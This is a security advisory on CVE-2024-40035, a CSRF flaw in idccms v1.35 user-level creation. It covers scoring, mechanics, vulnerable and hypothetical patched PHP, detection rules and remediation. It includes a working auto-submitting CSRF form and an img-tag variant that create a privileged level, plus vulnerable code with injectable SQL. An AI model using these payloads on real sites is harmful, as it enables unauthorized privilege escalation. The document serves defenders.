CVE-2024-40035

Executive Summary

CVE-2024-40035 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35. The flaw exists in the /admin/userLevel_deal.php?mudi=add endpoint, allowing an attacker to forge requests that modify user levels without the administrator's consent. This can lead to unauthorized privilege escalation or account manipulation. The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with low attack complexity and no privileges required, but user interaction is necessary. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (idccms) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the CSRF.
• User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Unauthorized modification of user levels is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The CSRF can be exploited to add or modify user levels, potentially leading to privilege escalation. However, user interaction is required, and the impact is limited to integrity.

Deep Dive & Mechanics

The vulnerability resides in the userLevel_deal.php script, specifically in the mudi=add action. The endpoint does not implement any anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, sends a forged POST request to:

/admin/userLevel_deal.php?mudi=add

The request likely includes parameters such as level_name, level_rights, etc., to create a new user level with elevated privileges. Since the admin's session cookie is automatically sent with the request, the server processes it as legitimate.

Attack Flow:

1. Attacker identifies an idccms admin session.
2. Attacker crafts a malicious page (e.g., via email or phishing) containing an auto-submitting form or an image tag with a GET request (if the endpoint accepts GET).
3. Admin visits the page while authenticated.
4. The forged request creates a new user level (e.g., "SuperAdmin") with full rights.
5. Attacker logs in using the new level or assigns it to an existing user.

Root Cause: Lack of CSRF protection (e.g., tokens, SameSite cookies, or referrer checks) in the admin panel.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include:

Vulnerable Code (idccms v1.35):

// /admin/userLevel_deal.php (simplified)
if ($_GET['mudi'] == 'add') {
    $level_name = $_POST['level_name'];
    $level_rights = $_POST['level_rights'];
    // No CSRF check
    $db->query("INSERT INTO user_level (name, rights) VALUES ('$level_name', '$level_rights')");
}

Patched Code (Hypothetical):

// /admin/userLevel_deal.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed.");
}
if ($_GET['mudi'] == 'add') {
    $level_name = htmlspecialchars($_POST['level_name']);
    $level_rights = intval($_POST['level_rights']);
    $stmt = $db->prepare("INSERT INTO user_level (name, rights) VALUES (?, ?)");
    $stmt->bind_param("si", $level_name, $level_rights);
    $stmt->execute();
}

The patched version adds:

• CSRF token validation.
• Input sanitization (htmlspecialchars, intval).
• Prepared statements to prevent SQL injection (though not the primary issue).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of idccms v1.35.
• An authenticated admin session (cookie).

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form id="csrf" action="http://target.com/admin/userLevel_deal.php?mudi=add" method="POST">
    <input type="hidden" name="level_name" value="HackerLevel">
    <input type="hidden" name="level_rights" value="999">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email or social engineering).
4. Once the admin visits the page, the form auto-submits, creating a new user level.

Alternative (GET-based if applicable):

<img src="http://target.com/admin/userLevel_deal.php?mudi=add&level_name=HackerLevel&level_rights=999">

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /admin/userLevel_deal.php?mudi=add from unexpected referrers.
• Alert on multiple failed CSRF token checks (if implemented).
• Log all user level creation events and correlate with admin activity.

Defense:

• Implement CSRF tokens in all admin forms.
• Use SameSite cookies (Lax or Strict).
• Validate the Origin and Referer headers.
• Restrict admin panel access to trusted IPs or VPN.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/userLevel_deal.php?mudi=add with suspicious parameters.
  • Referer header pointing to external domains.
• Host:
  • New user level entries in the database (e.g., user_level table).
  • Unexpected admin accounts with elevated privileges.
• Logs:
  • Web server logs showing requests to userLevel_deal.php with mudi=add from non-admin IPs.

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40035"
    strings:
        $s1 = "userLevel_deal.php?mudi=add" nocase
        $s2 = "level_name" nocase
        $s3 = "level_rights" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against idccms userLevel_deal.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting idccms v1.35 user level creation
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/userLevel_deal.php?mudi=add'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40035 idccms CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/userLevel_deal.php"; http_uri; content:"mudi=add"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block access to /admin/userLevel_deal.php via web server configuration (e.g., .htaccess).
2. Implement CSRF tokens in all admin forms. Use a library like csrf-protect or custom token generation.
3. Enforce SameSite cookies (set to Lax or Strict).
4. Validate HTTP Referer/Origin headers to ensure requests originate from the same site.

Long-term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the idccms codebase.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Restrict admin panel access to specific IP addresses or use VPN.
• Implement multi-factor authentication (MFA) for admin accounts.

Valters IT
Securing Digital Frontiers